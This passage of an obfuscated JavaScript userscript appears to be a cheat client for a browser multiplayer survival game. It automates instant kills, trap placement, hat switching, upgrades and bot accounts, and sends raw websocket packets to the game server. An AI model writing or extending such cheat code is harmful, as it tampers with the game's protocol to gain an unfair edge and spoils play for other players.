  2853. Tv();
  2854. dv = ![];
  2855. }, 222);
  2856. } else {
  2857. if (yI.shameCount < 5) {
  2858. Tv();
  2859. } else {
  2860. setTimeout(() => {
  2861. Tv();
  2862. }, 100);
  2863. }
  2864. }
  2865. }
  2866. } else {
  2867. Tu(cS);
  2868. }
  2869. }
  2870. function Tl(cS, cf) {
  2871. if (yK = cX(cS)) {
  2872. let cA = cf - yK.health;
  2873. if (cA >= 0) {
  2874. if (tick - yK.tracker.heal.lastChange < 3) {
  2875. if (tick - yK.tracker.heal.lastChange <= 1 && yK.shameCount > yK.tracker.heal.tick) {
  2876. yK.tracker.heal.tick = yK.shameCount;
  2877. }
  2878. }
  2879. if (cA == 3 && yK.tailIndex == 13) {
  2880. yK.bullTick = tick;
  2881. } else if (cA == 6 && yK.tailIndex == 13 && yK.skinIndex == 13) {
  2882. yK.bullTick = tick;
  2883. } else if (cA == 1 && yK.tailIndex == 17) {
  2884. yK.bullTick = tick;
  2885. } else {
  2886. yK.buildItem();
  2887. }
  2888. } else {
  2889. yK.hitTime = tick;
  2890. if (cA <= -40) {
  2891. yK.tracker.heal.lastChange = tick;
  2892. }
  2893. if (cA == -2 && yK.skinIndex == 7 && yK.tailIndex == 13) {
  2894. yK.bullTick = tick;
  2895. if (yK == yI) {
  2896. Tf = 0;
  2897. }
  2898. } else if (cA == -5) {
  2899. yK.bullTick = tick;
  2900. if (yK == yI) {
  2901. Tf = 0;
  2902. }
  2903. }
  2904. if (yK == yI) {
  2905. Tx.push(Math.abs(cA));
  2906. Tk(Math.abs(cA));
  2907. }
  2908. }
  2909. yK.health = cf;
  2910. }
  2911. }
  2912. var Ta = ![];
  2913. setInterval(() => {
  2914. if (Ta == !![]) {
  2915. y4.send("2", Tj);
  2916. y4.send("2", Tj);
  2917. }
  2918. }, -1);
  2919. window.isAlly = function (cS) {
  2920. return dp.includes(cS);
  2921. };
  2922. var To = {last: ![], health: 700, location: {x: 0, y: 0}}, TD = ![];
  2923. var TW = {aiming: ![], interval: null, type: function (cS) {
  2924. if (cS == "back") {
  2925. this.aiming = "back";
  2926. clearInterval(this.interval);
  2927. this.interval = setInterval(() => {
  2928. y4.send("2", Tj + Math.PI);
  2929. y4.send("2", Tj + Math.PI);
  2930. }, 0);
  2931. } else if (cS == "normal") {
  2932. this.aiming = "normal";
  2933. clearInterval(this.interval);
  2934. this.interval = setInterval(() => {
  2935. y4.send("2", Tj);
  2936. y4.send("2", Tj);
  2937. }, 0);
  2938. } else {
  2939. clearInterval(this.interval);
  2940. this.aiming = ![];
  2941. }
  2942. }};
  2943. function Tm(cS) {
  2944. Jz = ![];
  2945. if (yI.weapons[0] == 7 && yI.weapons[1] == 10 && document.getElementById("dhkm").checked) {
  2946. y4.send("6", 4);
  2947. y4.send("6", 15);
  2948. yI.secondary.reload = 0;
  2949. }
  2950. if (cS == 3) {
  2951. Jq = ![];
  2952. JP = !![];
  2953. TW.type("back");
  2954. y4.send("33", Tj);
  2955. y4.send("33", Tj);
  2956. db(53);
  2957. db(11, 1);
  2958. JE(yI.weapons[1], !![]);
  2959. dA.change(![]);
  2960. dY.change(!![]);
  2961. if (yI.weapons[0] == 4 && yI.weapons[1] && yI.weapons[1] == 15) {
  2962. y4.send("2", Tj + c1(180));
  2963. y4.send("c", 1, Tj + c1(180));
  2964. y4.send("c", 0, Tj + c1(180));
  2965. }
  2966. setTimeout(() => {
  2967. TW.type("normal");
  2968. y4.send("2", Tj);
  2969. df.change(!![]);
  2970. JE(yI.weapons[0], !![]);
  2971. dY.change(![]);
  2972. dA.change(!![]);
  2973. db(7);
  2974. db(yI.tails[21] ? 21 : 0, 1);
  2975. setTimeout(() => {
  2976. TW.type("");
  2977. JP = ![];
  2978. df.change(![]);
  2979. dA.change(![]);
  2980. dY.change(![]);
  2981. }, 222);
  2982. }, 111);
  2983. } else if (cS == 2) {
  2984. if (document.getElementById("sope").checked && cT == !![]) {
  2985. y4.send("33", null);
  2986. }
  2987. Ta = !![];
  2988. db(yI.tails[21] ? 21 : 0, 1);
  2989. JE(yI.weapons[1], !![]);
  2990. dY.change(!![]);
  2991. dA.change(![]);
  2992. db(53);
  2993. df.change(!![]);
  2994. if (document.getElementById("sope").checked && cT == !![]) {
  2995. setTimeout(() => {
  2996. db(yI.tails[21] ? 21 : 0, 1);
  2997. dY.change(![]);
  2998. JE(yI.weapons[0], !![]);
  2999. db(7);
  3000. dA.change(!![]);
  3001. setTimeout(() => {
  3002. websocket.send(new Uint8Array([135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180]));
  3003. setTimeout(() => {
  3004. Ta = ![];
  3005. df.change(![]);
  3006. dA.change(![]);
  3007. dY.change(![]);
  3008. }, 150);
  3009. }, 100);
  3010. }, 100);
  3011. } else {
  3012. setTimeout(() => {
  3013. db(yI.tails[21] ? 21 : 0, 1);
  3014. dY.change(![]);
  3015. JE(yI.weapons[0], !![]);
  3016. db(7);
  3017. dA.change(!![]);
  3018. setTimeout(() => {
  3019. Ta = ![];
  3020. df.change(![]);
  3021. dA.change(![]);
  3022. dY.change(![]);
  3023. }, 185);
  3024. }, 85);
  3025. }
  3026. } else if (cS == 1) {
  3027. if (document.getElementById("sope").checked && cT == !![]) {
  3028. y4.send("33", null);
  3029. }
  3030. Ta = !![];
  3031. db(yI.tails[13] ? 13 : 0, 1);
  3032. JE(yI.weapons[0], !![]);
  3033. dA.change(!![]);
  3034. dY.change(![]);
  3035. db(6);
  3036. df.change(!![]);
  3037. if (document.getElementById("sope").checked && cT == !![]) {
  3038. setTimeout(() => {
  3039. db(nearestEnemy[9] == 6 || nearestEnemy[9] == 22 ? 20 : 53);
  3040. db(11, 1);
  3041. JE(yI.weapons[1], !![]);
  3042. dY.change(!![]);
  3043. dA.change(![]);
  3044. websocket.send(new Uint8Array([135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180]));
  3045. setTimeout(() => {
  3046. Ta = ![];
  3047. df.change(![]);
  3048. dA.change(![]);
  3049. dY.change(![]);
  3050. }, 250);
  3051. }, 100);
  3052. } else {
  3053. setTimeout(() => {
  3054. db(nearestEnemy[9] == 6 || nearestEnemy[9] == 22 ? 20 : 53);
  3055. db(11, 1);
  3056. JE(yI.weapons[1], !![]);
  3057. dY.change(!![]);
  3058. dA.change(![]);
  3059. setTimeout(() => {
  3060. Ta = ![];
  3061. df.change(![]);
  3062. dA.change(![]);
  3063. dY.change(![]);
  3064. }, 185);
  3065. }, 85);
  3066. }
  3067. } else {
  3068. if (document.getElementById("sope").checked && cT == !![]) {
  3069. y4.send("33", null);
  3070. }
  3071. Ta = !![];
  3072. db(yI.tails[21] ? 21 : 0, 1);
  3073. JE(yI.weapons[0], !![]);
  3074. dA.change(!![]);
  3075. dY.change(![]);
  3076. db(7);
  3077. df.change(!![]);
  3078. if (document.getElementById("sope").checked && cT == !![]) {
  3079. setTimeout(() => {
  3080. db(nearestEnemy[9] == 22 ? 20 : 53);
  3081. db(11, 1);
  3082. JE(yI.weapons[1], !![]);
  3083. dY.change(!![]);
  3084. dA.change(![]);
  3085. websocket.send(new Uint8Array([135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180]));
  3086. setTimeout(() => {
  3087. Ta = ![];
  3088. df.change(![]);
  3089. dA.change(![]);
  3090. dY.change(![]);
  3091. }, 250);
  3092. }, 100);
  3093. } else {
  3094. setTimeout(() => {
  3095. db(nearestEnemy[9] == 22 ? 20 : 53);
  3096. db(11, 1);
  3097. JE(yI.weapons[1], !![]);
  3098. dY.change(!![]);
  3099. dA.change(![]);
  3100. setTimeout(() => {
  3101. Ta = ![];
  3102. df.change(![]);
  3103. dA.change(![]);
  3104. dY.change(![]);
  3105. }, 185);
  3106. }, 85);
  3107. }
  3108. }
  3109. }
  3110. var TB = [], Tj = 0, TC = 0, c0 = "none";
  3111. function c1(cS) {
  3112. return cS / 180 * Math.PI;
  3113. }
  3114. var c2 = [[11, ![]], [15, !![]], [6, !![]], [7, !![]], [22, !![]], [40, !![]], [53, !![]], [31, !![]], [12, !![]], [11, !![]], [26, !![]], [21, ![]], [20, !![]]];
  3115. var c3 = setInterval(() => {
  3116. if (c2[0][1] == !![]) {
  3117. Vk.filter(cS => cS.id == c2[0][0]).forEach(cS => {
  3118. if (yI && yI.points >= cS.price) {
  3119. du(cS.id, 0);
  3120. c2.shift();
  3121. }
  3122. });
  3123. } else if (c2[0][1] == ![]) {
  3124. Vl.filter(cS => cS.id == c2[0][0]).forEach(cS => {
  3125. if (yI && yI.points >= cS.price) {
  3126. du(cS.id, 1);
  3127. c2.shift();
  3128. }
  3129. });
  3130. }
  3131. if (c2.length == 0) {
  3132. clearInterval(c3);
  3133. }
  3134. }, 500);
  3135. function c4(cS, cf) {
  3136. let cA = y9.list[cS];
  3137. let cY = 35 + cA.scale + (cA.placeOffset || 0);
  3138. if (Va.checkItemLocation(yI.x2 + Math.cos(cf) * cY, yI.y2 + Math.sin(cf) * cY, cA.scale, 0.6, y2.id, ![])) {
  3139. TR(cS, cf);
  3140. }
  3141. }
  3142. const c5 = {interval: null, action: function (cS) {
  3143. if (cS == !![]) {
  3144. clearInterval(this.interval);
  3145. this.interval = setInterval(() => {
  3146. if (Ta == ![] && TD == ![]) {
  3147. c0 = "autogrind";
  3148. JE(yI.weaponIndex, !![]);
  3149. if (yI.weaponIndex > 9 ? yI.secondary.reload == 1 : yI.primary.reload == 1) {
  3150. y4.send("c", 1, Number.MAX_VALUE);
  3151. y4.send("c", 0, Number.MAX_VALUE);
  3152. db(40);
  3153. } else {
  3154. db(6);
  3155. }
  3156. y4.send("2", Number.MAX_VALUE);
  3157. }
  3158. }, 0);
  3159. } else {
  3160. clearInterval(this.interval);
  3161. }
  3162. }};
  3163. document.getElementById("autogrind").addEventListener("change", function () {
  3164. if (document.getElementById("autogrind").checked == !![]) {
  3165. for (let cS = 0; cS < 4; cS++) {
  3166. TR(yI.items[5] ? yI.items[5] : yI.items[3], c1(90 * cS));
  3167. }
  3168. }
  3169. c5.action(document.getElementById("autogrind").checked);
  3170. });
  3171. var c6 = ![], c7 = 0, c8 = 0, c9 = {amount: [], info: []}, cy = [];
  3172. function cV() {
  3173. if (!nearestEnemy.length || Js.status) return;
  3174. let cS = yQ.find(cf => cf.trap && (cf.owner.sid == yI.sid || isAlly(cf.owner.sid)) && Math.hypot(cf.y - nearestEnemy[2], cf.x - nearestEnemy[1]) < 70);
  3175. if (cS) {
  3176. if (cN(nearestEnemy, yI) < 200) {
  3177. c4(yI.items[2], Tj);
  3178. for (let cf = 0; cf < Math.PI * 2; cf += Math.PI / 12) {
  3179. c4(yI.items[2], cf + Tj);
  3180. c4(yI.items[2], cf - Tj);
  3181. }
  3182. }
  3183. } else {
  3184. c4(yI.items[4], Tj);
  3185. }
  3186. if (cN(nearestEnemy, yI) < 250) {
  3187. c4(yI.items[2], Tj);
  3188. for (let cA = Tj - Math.PI / 3; cA < Tj + Math.PI / 3; cA += Math.PI / 18) {
  3189. c4(yI.items[2], cA);
  3190. }
  3191. for (let cY = 0; cY < Math.PI * 2; cY += Math.PI / 12) {
  3192. c4(yI.items[4], cY);
  3193. }
  3194. } else {
  3195. for (let cb = 0; cb < Math.PI * 2; cb += Math.PI / 12) {
  3196. c4(yI.items[4], cb);
  3197. }
  3198. }
  3199. y4.send("2", J9());
  3200. }
  3201. function cd(cS, cf) {
  3202. if (cS == "clan") {
  3203. for (let cA = 0; cA < modBots.length; cA++) {
  3204. if (modBots[cA].readyState == 1 && modBots[cA].clan != cf) {
  3205. modBots[cA].emit(["9"]);
  3206. modBots[cA].emit(["10", [cf]]);
  3207. }
  3208. }
  3209. }
  3210. }
  3211. var cJ = 0, cT = ![];
  3212. var cc = [];
  3213. function cL() {
  3214. let cS = yQ.find(cf => cf.trap && nearestEnemy.length && (cf.owner.sid == yI.sid || isAlly(cf.owner.sid)) && Math.hypot(cf.y - nearestEnemy[2], cf.x - nearestEnemy[1]) < 70);
  3215. cT = ![];
  3216. if (nearestEnemy.length && c8 == c7) {
  3217. cT = !![];
  3218. } else if (cS) {
  3219. cT = !![];
  3220. }
  3221. }
  3222. function cs(cS) {
  3223. tick++;
  3224. TB = [];
  3225. nearestEnemy = [];
  3226. Tj = 0;
  3227. cc = TS;
  3228. TS = [];
  3229. var cf = Date.now();
  3230. for (var cA = 0; cA < yu.length; cA++) {
  3231. yu[cA].forcePos = !yu[cA].visible;
  3232. yu[cA].visible = ![];
  3233. }
  3234. for (cA = 0; cA < cS.length;) {
  3235. yK = cX(cS[cA]);
  3236. if (yK) {
  3237. yK.t1 = void 0 === yK.t2 ? cf : yK.t2;
  3238. yK.t2 = cf;
  3239. yK.x1 = yK.x;
  3240. yK.y1 = yK.y;
  3241. yK.x2 = cS[cA + 1];
  3242. yK.y2 = cS[cA + 2];
  3243. yK.d1 = void 0 === yK.d2 ? cS[cA + 3] : yK.d2;
  3244. yK.d2 = cS[cA + 3];
  3245. yK.dt = 0;
  3246. yK.speed = Math.hypot(yK.y1 - yK.y2, yK.x1 - yK.x2);
  3247. yK.buildIndex = cS[cA + 4];
  3248. yK.weaponIndex = cS[cA + 5];
  3249. yK.weaponVariant = cS[cA + 6];
  3250. yK.team = cS[cA + 7];
  3251. yK.isLeader = cS[cA + 8];
  3252. yK.skinIndex = cS[cA + 9];
  3253. yK.tailIndex = cS[cA + 10];
  3254. yK.iconIndex = cS[cA + 11];
  3255. yK.zIndex = cS[cA + 12];
  3256. yK.visible = !0;
  3257. yK.update();
  3258. if (!(yK == yI || yK.team && yK.team == yI.team)) {
  3259. TB.push(cS.slice(cA, cA + 13));
  3260. }
  3261. if (yK == yI) {
  3262. myPlayer = {x: yI.x2, y: yI.y2};
  3263. if (yI.team) {
  3264. cd("clan", yI.team);
  3265. }
  3266. if (yI.weapons[0] && yI.primary.id != yI.weapons[0]) {
  3267. yI.primary.id = yI.primary.reloadid = yI.weapons[0];
  3268. } else if (yI.weapons[1] && yI.secondary.id != yI.weapons[1]) {
  3269. yI.secondary.id = yI.secondary.reloadid = yI.weapons[1];
  3270. }
  3271. }
  3272. }
  3273. cA += 13;
  3274. }
  3275. if (Js.status) {
  3276. Js.w || !Js.a || Js.s || Js.d ? !Js.w && Js.a && Js.s && !Js.d ? Js.aim = -0.77 : Js.w || Js.a || !Js.s || Js.d ? !Js.w && !Js.a && Js.s && Js.d ? Js.aim = -2.34 : Js.w || Js.a || Js.s || !Js.d ? Js.w && !Js.a && !Js.s && Js.d ? Js.aim = 2.35 : !Js.w || Js.a || Js.s || Js.d ? Js.w && Js.a && !Js.s && !Js.d && (Js.aim = 0.77) : Js.aim = 1.57 : Js.aim = 3.14 : Js.aim = -1.57 : Js.aim = 0;
  3277. }
  3278. if (Math.sqrt(Math.pow(Js.y - yI.y, 2) + Math.pow(Js.x - yI.x, 2)) > 99) {
  3279. if (Js.status) {
  3280. TR(yI.items[3], Js.aim);
  3281. TR(yI.items[3], Js.aim - c1(69));
  3282. TR(yI.items[3], Js.aim + c1(69));
  3283. if (document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) {
  3284. y4.send("2", Js.aim);
  3285. } else {
  3286. y4.send("2", J9());
  3287. }
  3288. }
  3289. Js.x = yI.x;
  3290. Js.y = yI.y;
  3291. }
  3292. if (TB.length) {
  3293. TB = TB.sort((cu, cx) => cN(cu, yI) - cN(cx, yI));
  3294. nearestEnemy = TB[0];
  3295. for (let cu = 0; cu < TB.length; cu++) {
  3296. let cx = cX(TB[cu][0]);
  3297. if (ch(cx, yI) / 1.7 <= y9.weapons[cx.primary.id].range + 35) {
  3298. TS.push(cx);
  3299. }
  3300. }
  3301. }
  3302. for (let cQ = 0; cQ < cc.length; cQ++) {
  3303. if (!TB.find(ck => ck[0] == cc[cQ][0])) {
  3304. let ck = cX(cc[cQ][0]);
  3305. if (ck) {
  3306. ck.primary.reload = 1;
  3307. ck.secondary.reload = 1;
  3308. ck.turret = 1;
  3309. }
  3310. }
  3311. }
  3312. if (nearestEnemy.length) {
  3313. Tj = Math.atan2(nearestEnemy[2] - yI.y2, nearestEnemy[1] - yI.x2);
  3314. } else {
  3315. Tj = 0;
  3316. }
  3317. if (document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) {
  3318. if (yI.secondary.reload < 1) {
  3319. yI.lockDir = 0;
  3320. } else {
  3321. yI.lockDir = 1;
  3322. }
  3323. if (Date.now() - cJ >= 5e3) {
  3324. J0 = Math.floor(Math.random() * 360);
  3325. cJ = Date.now();
  3326. }
  3327. } else {
  3328. yI.lockDir = 0;
  3329. }
  3330. if (nearestEnemy.length) {
  3331. c7 = c8;
  3332. c8 = cN(nearestEnemy, yI);
  3333. }
  3334. cL();
  3335. if (yI.skins[11] && yI.tails[21] && nearestEnemy.length) {
  3336. c9.amount = [];
  3337. for (let cl = 0; cl < c9.info.length; cl++) {
  3338. if (c9.info[cl] && c9.info[cl].primary.reload == 1) {
  3339. if (TB.find(ca => c9.info[cl].sid == ca[0])) {
  3340. c9.amount.push(!![]);
  3341. }
  3342. }
  3343. }
  3344. c9.info = [];
  3345. for (let ca = 0; ca < TS.length; ca++) {
  3346. if (TS[ca].primary.reload + 111 / y9.weapons[TS[ca].primary.id].speed >= 1 && Math.round((TS[ca].primary.reload + 111 / y9.weapons[TS[ca].primary.id].speed) * 100) / 100 <= (TS[ca].primary.id == 5 ? 1.15 : 1.2)) {
  3347. c9.info.push(TS[ca]);
  3348. }
  3349. }
  3350. }
  3351. cy = yQ.filter(co => co.name == "turret" && Math.hypot(co.y - yI.y2, co.x - yI.x2) <= 700 && co.active && co.owner.sid != yI.sid && !isAlly(co.owner.sid));
  3352. if (!yI.team && dp.length) {
  3353. dp = [];
  3354. }
  3355. if (nearestEnemy.length && Ta == ![] && yI.items[4] == 15 && document.getElementById("autogrind").checked == ![] && document.getElementById("autoplace").checked == !![] && TD == ![] && TW.aiming == ![]) {
  3356. cV();
  3357. }
  3358. cU();
  3359. To.last = TD;
  3360. let cY = yQ.filter(co => co.trap && co.owner.sid != yI.sid && !isAlly(co.owner.sid) && co.active && Math.hypot(co.y - yI.y2, co.x - yI.x2) < 80).sort((co, cD) => Math.hypot(co.y - yI.y2, co.x - yI.x2) - Math.hypot(cD.y - yI.y2, cD.x - yI.x2))[0];
  3361. if (cY) {
  3362. TD = !![];
  3363. To.health = cY.currentHealth;
  3364. To.location = {x: cY.x, y: cY.y};
  3365. } else {
  3366. TD = ![];
  3367. if (To.last == !![]) {
  3368. TQ = !![];
  3369. db(6);
  3370. if (dS == !![]) {
  3371. Tv();
  3372. dS = ![];
  3373. }
  3374. setTimeout(() => {
  3375. TQ = ![];
  3376. }, 111);
  3377. }
  3378. }
  3379. if (nearestEnemy.length && yI.primary.reload == 1 && yI.secondary.reload == 1 && yI.turret == 1 && yI.weapons[1] && Ta == ![] && document.getElementById("autoinsta").checked) {
  3380. let co = yQ.some(cD => ch(cD, yI) < cN(nearestEnemy, yI) && Math.abs(Math.atan2(cD.y - yI.y, cD.x - yI.x) - Tj) <= (cD.scale + 10) / ch(cD, yI) && cD.active && !cD.ignoreCollision);
  3381. if ((cN(nearestEnemy, yI) < 179 || c8 !== c7 && c7 >= 185 && c8 < 185) && yI.weapons[1] == 15 && !co && cX(nearestEnemy[0]).shameCount >= cX(nearestEnemy[0]).tracker.heal.tick) {
  3382. if (c8 !== c7 && c7 >= 185 && c8 < 180) {
  3383. if (nearestEnemy[9] != 6 && nearestEnemy[9] != 22 && yI.skins[53] && yI.weapons[1] != 13) {
  3384. Tm(1);
  3385. } else {
  3386. Tm(0);
  3387. }
  3388. } else if (yI.shameCount > 3 && (tick - yI.bullTick) % 9 == 8 || nearestEnemy[9] == 11 && yI.primary.variant == 0) {
  3389. Tm(2);
  3390. } else {
  3391. if (nearestEnemy[9] != 6 && nearestEnemy[9] != 22 && yI.skins[53] && yI.weapons[1] != 13) {
  3392. Tm(1);
  3393. } else {
  3394. Tm(0);
  3395. }
  3396. }
  3397. return;
  3398. }
  3399. }
  3400. if (nearestEnemy.length && Jz == !![] && yI.primary.reload == 1 && yI.secondary.reload == 1 && yI.turret == 1 && yI.weapons[1] && Ta == ![]) {
  3401. let cD = yQ.some(cW => ch(cW, yI) < cN(nearestEnemy, yI) && Math.abs(Math.atan2(cW.y - yI.y, cW.x - yI.x) - Tj) <= (cW.scale + 10) / ch(cW, yI) && cW.active && !cW.ignoreCollision);
  3402. if ((cN(nearestEnemy, yI) < 179 || c8 !== c7 && c7 >= 185 && c8 < 185) && yI.weapons[1] != 10 && !cD) {
  3403. if (c8 !== c7 && c7 >= 185 && c8 < 180) {
  3404. if (nearestEnemy[9] != 6 && nearestEnemy[9] != 22 && yI.skins[53] && yI.weapons[1] != 13) {
  3405. Tm(1);
  3406. } else {
  3407. Tm(0);
  3408. }
  3409. } else if (yI.shameCount > 3 && (tick - yI.bullTick) % 9 == 8 || nearestEnemy[9] == 11 && yI.primary.variant == 0) {
  3410. Tm(2);
  3411. } else {
  3412. if (nearestEnemy[9] != 6 && nearestEnemy[9] != 22 && yI.skins[53] && yI.weapons[1] != 13) {
  3413. Tm(1);
  3414. } else {
  3415. Tm(0);
  3416. }
  3417. }
  3418. return;
  3419. } else if (cN(nearestEnemy, yI) < 130 && nearestEnemy[9] != 6 && nearestEnemy[9] != 22 && yI.weapons[1] == 10) {
  3420. Tm(2);
  3421. return;
  3422. }
  3423. }
  3424. let cb = yI.weapons[0] == 4 ? nearestEnemy.length && (tick - cX(nearestEnemy[0]).bullTick) % 9 == 8 : !![];
  3425. if (Ta == !![] || nearestEnemy.length && Jz == !![] && cN(nearestEnemy, yI) < 150) {
  3426. c0 = "instaing";
  3427. } else if (TD == !![] && Js.space == ![]) {
  3428. c0 = "autobreaking";
  3429. let cW = yQ.find(cC => cC.trap && nearestEnemy.length && (cC.owner.sid == yI.sid || isAlly(cC.owner.sid)) && Math.hypot(cC.y - nearestEnemy[2], cC.x - nearestEnemy[1]) < 70);
  3430. let cm = yI.weapons[1] == 10 ? yI.primary.reload == 1 && To.health <= y9.weapons[yI.primary.id].dmg ? yI.weapons[0] : 10 : yI.weapons[0];
  3431. let cB = yQ.filter(cC => cC.dmg && cC.dmg > 0 && cC.sid != yI.sid && !isAlly(cC.sid) && Math.hypot(cC.y - yI.y, cC.x - yI.x) < 130 && cC.active);
  3432. let cj = yQ.filter(cC => !cC.ignoreCollision && !cC.dmg && Math.hypot(cC.y - yI.y, cC.x - yI.x) < 200 && cC.active && cC.health);
  3433. if (!cW && (cB.length > 0 || cj.length > 2)) {
  3434. TC = Number.MAX_VALUE;
  3435. } else {
  3436. TC = Math.atan2(To.location.y - yI.y2, To.location.x - yI.x2);
  3437. }
  3438. JE(cm, !![]);
  3439. if (cm == 10 ? yI.secondary.reload == 1 : yI.primary.reload == 1) {
  3440. db(To.health <= y9.weapons[yI.primary.id].dmg ? 6 : 40);
  3441. db(yI.tails[21] ? 21 : 0, 1);
  3442. y4.send("c", 1, TC);
  3443. y4.send("c", 0, TC);
  3444. } else {
  3445. if (cH() && yI.skins[7]) {
  3446. Tf += 1;
  3447. db(7);
  3448. } else if (cy.length && yI.skins[22]) {
  3449. db(22);
  3450. db(11, 1);
  3451. } else if (yI.skins[26] && (cB.length > 0 || cj.length > 2) && !cW) {
  3452. db(26);
  3453. db(21, 1);
  3454. } else if (nearestEnemy.length && yI.skins[11] && yI.tails[21] && (c7 > 180 && c8 < 180 || c9.amount.length) && cX(nearestEnemy[0]).primary.variant == 0) {
  3455. c6 = !![];
  3456. db(11);
  3457. db(21, 1);
  3458. } else {
  3459. db(6);
  3460. if (cX(nearestEnemy[0]) && cX(nearestEnemy[0]).primary.reload + 111 / y9.weapons[cX(nearestEnemy[0]).primary.id].speed >= 1 && cX(nearestEnemy[0]).primary.variant == 0) {
  3461. db(21, 1);
  3462. } else {
  3463. db(11, 1);
  3464. }
  3465. }
  3466. }
  3467. y4.send("2", TC);
  3468. } else if (document.getElementById("autogrind").checked == ![] && (J6.status == ![] && Js.space == ![]) && J7.status == ![] && Jq == !![] && nearestEnemy.length) {
  3469. c0 = "oneticking";
  3470. if (yI.weapons[0] != 4) {
  3471. y4.send("2", Tj);
  3472. }
  3473. let cC = cN(nearestEnemy, yI);
  3474. let L0 = function () {
  3475. if (yI.y2 < 2400 && yI.skins[15]) {
  3476. db(15);
  3477. db(11, 1);
  3478. } else if (yI.y2 > 6850 && yI.y2 < 7550 && yI.skins[31]) {
  3479. db(31);
  3480. db(11, 1);
  3481. } else {
  3482. db(12);
  3483. db(11, 1);
  3484. }
  3485. };
  3486. if (cC > 235 && cC < (yI.weapons[0] == 4 ? 250 : 240)) {
  3487. y4.send("33", null);
  3488. L0();
  3489. if (yI.primary.reload == 1 && yI.primary.reload == 1 && yI.turret == 1 && Ta == ![] && nearestEnemy[9] != 22 && nearestEnemy[9] != 6 && cb) {
  3490. y4.send("33", Tj);
  3491. Tm(3);
  3492. }
  3493. } else {
  3494. if (cC <= (yI.weapons[0] == 4 ? 240 : 235)) {
  3495. y4.send("33", Tj + Math.PI);
  3496. } else if (cC >= (yI.weapons[0] == 4 ? 250 : 240)) {
  3497. y4.send("33", Tj);
  3498. }
  3499. if (cC > (yI.weapons[0] == 4 ? 190 : 185) && cC < (yI.weapons[0] == 4 ? 300 : 290)) {
  3500. db(0, 1);
  3501. }
  3502. if (cC > (yI.weapons[0] == 4 ? 215 : 210) && cC < (yI.weapons[0] == 4 ? 275 : 265)) {
  3503. if (cC > (yI.weapons[0] == 4 ? 230 : 225) && cC < (yI.weapons[0] == 4 ? 260 : 250)) {
  3504. db(40, 0);
  3505. } else {
  3506. db(22, 0);
  3507. }
  3508. }
  3509. }
  3510. } else if (nearestEnemy.length && yI.skins[11] && yI.tails[21] && (c7 > 180 && c8 < 180 || c9.amount.length) && cX(nearestEnemy[0]).primary.variant == 0) {
  3511. c0 = "pab";
  3512. c6 = !![];
  3513. db(11);
  3514. db(21, 1);
  3515. } else if ((nearestEnemy.length && cN(nearestEnemy, yI) / 1.7 < y9.weapons[yI.weapons[0]].range && yI.secondary.reload == 1 && document.getElementById("autoBSpam").checked || Js.space == !![] || document.getElementById("autoinsta").checked && nearestEnemy.length && cN(nearestEnemy, yI) / 1.75 < y9.weapons[yI.weapons[0]].range && document.getElementById("autoBSpam").checked) && document.getElementById("autogrind").checked == ![]) {
  3516. c0 = "auto bull spam";
  3517. JE(yI.weapons[0], !![]);
  3518. if (yI.primary.reload == 1) {
  3519. db(yI.tails[21] ? 21 : 0, 1);
  3520. if (yI.weaponIndex != yI.weapons[0]) {
  3521. JE(yI.weapons[0], !![]);
  3522. } else if (cN(nearestEnemy, yI) < 150) {
  3523. c4(yI.items[2], Tj || J9());
  3524. }
  3525. if (yI.primary.variant == 0 && nearestEnemy[9] == 11) {
  3526. db(6);
  3527. } else {
  3528. db(7);
  3529. }
  3530. y4.send("c", 1, Tj || J9());
  3531. y4.send("c", 0, Tj || J9());
  3532. } else {
  3533. if (cy.length && yI.skins[22]) {
  3534. db(22);
  3535. db(11, 1);
  3536. } else if (nearestEnemy.length && nearestEnemy[9] == 11) {
  3537. db(6);
  3538. if (cX(nearestEnemy[0]).primary.reload + 111 / y9.weapons[cX(nearestEnemy[0]).primary.id].speed >= 1 && cX(nearestEnemy[0]).primary.variant == 0) {
  3539. db(21, 1);
  3540. } else {
  3541. db(11, 1);
  3542. }
  3543. } else if (nearestEnemy.length && yI.skins[11] && yI.tails[21] && (c7 > 180 && c8 < 180 || c9.amount.length) && cX(nearestEnemy[0]).primary.variant == 0) {
  3544. c6 = !![];
  3545. db(11);
  3546. db(21, 1);
  3547. } else {
  3548. db(6);
  3549. if (nearestEnemy.length && cX(nearestEnemy[0]).primary.reload + 111 / y9.weapons[cX(nearestEnemy[0]).primary.id].speed >= 1 && cX(nearestEnemy[0]).primary.variant == 0) {
  3550. db(21, 1);
  3551. } else {
  3552. db(11, 1);
  3553. }
  3554. }
  3555. }
  3556. } else if (J6.status == ![] && J7.status == ![] && Ta == ![] && document.getElementById("autogrind").checked == ![]) {
  3557. c0 = "none";
  3558. if (document.getElementById("autoinsta").checked && yI.weapons[1] == 15) {
  3559. if (nearestEnemy.length && cN(nearestEnemy, yI) > 300) {
  3560. cg();
  3561. } else if (!nearestEnemy.length) {
  3562. cg();
  3563. }
  3564. } else {
  3565. cg();
  3566. }
  3567. cG();
  3568. }
  3569. if (nearestEnemy.length && yI.skinIndex == 11 && c6 == !![] && Ta == ![] && yI.primary.reload == 1 && (Tx.includes(60) || Tx.includes(68))) {
  3570. Ta = !![];
  3571. c6 = ![];
  3572. db(7);
  3573. db(yI.tails[21] ? 21 : 0, 1);
  3574. JE(yI.weapons[0], !![]);
  3575. dY.change(![]);
  3576. dA.change(!![]);
  3577. y4.send("7", 1);
  3578. setTimeout(() => {
  3579. y4.send("7", 1);
  3580. Ta = ![];
  3581. dA.change(![]);
  3582. dY.change(![]);
  3583. }, 111);
  3584. }
  3585. Tx = [];
  3586. }
  3587. var cp = ![];
  3588. function cU() {
  3589. if (document.getElementById("autoupgrade").checked == !![]) {
  3590. if (document.getElementById("upgradeType").value == 0) {
  3591. if (yI.items[5] != y9.list.findIndex(cS => cS.name.includes(document.getElementById("sixbuilding").value))) {
  3592. y4.send("6", 7);
  3593. y4.send("6", y9.list.findIndex(cS => cS.name.includes("cookie")) + 16);
  3594. y4.send("6", y9.list.findIndex(cS => cS.name.includes("pit")) + 16);
  3595. y4.send("6", y9.list.findIndex(cS => cS.name.includes("greater")) + 16);
  3596. y4.send("6", 10);
